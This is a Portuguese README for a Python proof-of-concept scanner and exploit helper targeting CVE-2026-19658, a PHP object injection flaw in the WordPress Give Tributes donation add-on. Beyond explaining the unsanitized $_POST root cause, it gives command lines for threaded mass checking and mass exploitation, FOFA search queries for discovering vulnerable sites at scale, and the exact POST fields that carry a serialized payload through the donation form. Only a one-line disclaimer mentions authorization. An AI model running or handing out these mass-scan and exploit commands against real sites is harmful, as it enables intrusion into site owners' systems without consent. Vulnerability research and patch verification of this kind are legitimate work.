
Verificador em Python 3 e auxiliar de exploit para CVE-2026-19658, uma falha de injeção de objeto PHP no WordPress Give Tributes, com descoberta de alvos via FOFA e exploração de formulários de doação legados.
Prova de conceito em Python 3 scanner e auxiliar de exploração da cadeia de doações para CVE-2026-19658 no add-on WordPress Give - Tributes (Liquid Web / GiveWP).
| Plataforma | Plugin WordPress (requer o núcleo GiveWP) |
| Componente | Give - Tributes |
| Afetado | ≤ 2.3.1 |
| Corrigido em | 2.3.1.1+ (campos de eCard multi-destinatário sanitizados) |
| CVSS | 9.8 Crítico |
| Autenticação | Não autenticado (formulário de doação legado) |
| CWE | CWE-502 — Desserialização de Dados Não Confiáveis |
| Atribuidor | Wordfence |
Quando Allow Multiple Recipients está habilitado para eCards e eCard custom message está desabilitado (padrão), versões vulneráveis armazenam dados de destinatário de eCard brutos de $_POST nos metadados da doação. A validação de campos do GiveWP usa uma cópia give_clean() de $_POST (strings serializadas são esvaziadas ali), mas insert_tribute_data() lê $_POST não sanitizado, então o first_name / last_name de um segundo destinatário pode conter um objeto serializado PHP.
Impacto: Nenhuma cadeia POP conhecida apenas dentro do Give Tributes. Os metadados são desserializados quando lidos (ex.: pré-visualização/reenvio de eCard no admin). RCE ou impacto destrutivo requer uma cadeia de gadgets de outro plugin ou tema instalado.
[give_form] / v2), não apenas v3 Visual Form Buildermanual em dev/staging)pip install -r requirements.txtpip install -r requirements.txt
# Alvo único — verificação (fluxo no terminal ativado por padrão para --list)
python poc.py -u https://target.example --mode check
# Verificação em massa
python poc.py --list targets.example.txt --mode check --threads 20 --flow
# Alvo único — exploração (apenas alvos autorizados)
python poc.py -u https://target.example --mode exploit \
--form-url /donate/ --form-id 123 --gateway manual \
--payload 'O:8:"stdClass":0:{}'
# Exploração em massa a partir da saída de verificação
python poc.py --list candidates.jsonl --mode exploit --threads 8 --flow \
--vuln-list exploited.txt
Exemplos:
body="/wp-content/plugins/give-tributes/"
body="give-tributes" && body="givewp"
Lista de hosts (um domínio por linha):
python poc.py --list my_hosts.txt --mode check --threads 20 --flow
Exportação CSV do FOFA:
python fofa_to_list.py -i fofa_export.csv
python poc.py --list list.txt --mode check --threads 20
| Opção | Descrição |
|---|---|
-u, --url | URL base única |
--list | Lista de URLs, arquivo de hosts ou candidates.jsonl |
--mode | check ou exploit |
--form-url | Caminho da página de doação ou URL completa |
--form-id | ID do post do formulário Give |
--paths | Caminhos extras para rastrear formulários |
--payload | Objeto serializado para o first_name do 2º destinatário |
--gateway | payment-mode do Give (padrão manual) |
--email | give_email do doador |
--flow | Uma linha por alvo em execuções em massa (padrão com --list) |
--no-flow | Apenas resumo de progresso |
--quiet, -q | Saída mínima no console |
--threads, -j | Concorrência em massa (padrão 12) |
--output | Log JSONL (padrão cve_2026_19658_results.jsonl) |
--vuln-list | Linhas de acertos/explorados em texto (padrão hits.txt) |
--candidates-list | JSONL de metadados de verificação (padrão candidates.jsonl) |
Use --vuln-list exploited.txt em execuções de exploração para que os acertos de verificação em hits.txt não sejam sobrescritos.
| Arquivo | Modo | Conteúdo |
|---|---|---|
cve_2026_19658_results.jsonl | ambos | JSON completo por alvo |
hits.txt | check | URLs com exploitable_candidate |
candidates.jsonl | check | best_form, dicas de versão |
exploited.txt | exploit | url|payment=… quando a doação é confirmada |
status da verificação| Status | Significado |
|---|---|
candidate | Plugin vulnerável + Give + formulário legado com UI de tributes |
vulnerable_no_form | Plugin/versão OK, nenhum formulário adequado encontrado nos caminhos rastreados |
patched | Tributes > 2.3.1 ou ≥ 2.3.1.1 (quando a versão é legível) |
give_only | Give sem Tributes detectável |
no_plugin | Tributes não detectado |
A varredura remota não consegue ver de forma confiável "Allow Multiple Recipients"; candidatos ainda podem falhar no momento da exploração.
first_name.manual frequentemente está desabilitado em produção — tente gateways visíveis no formulário (stripe, paypal, test, …).give validation rejected donation: opções de tribute/notify, valor ou incompatibilidade de gateway.give_tributes_show_dedication=yes
give_tributes_would_to=send_eCard
give_tributes_ecard_notify[recipient][first_name][]=Valid
give_tributes_ecard_notify[recipient][first_name][]=<serialized payload>
give_tributes_ecard_notify[recipient][email][]=<donor email>
give_tributes_ecard_notify[recipient][email][][email protected]
…
.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Listas de varredura locais e artefatos de execução (list.txt, fofa*.csv, *.jsonl, hits.txt, …) estão em .gitignore e não devem ser commitados.
Apenas para testes de segurança autorizados e educação. Você é responsável pela conformidade com as leis aplicáveis e regras do programa.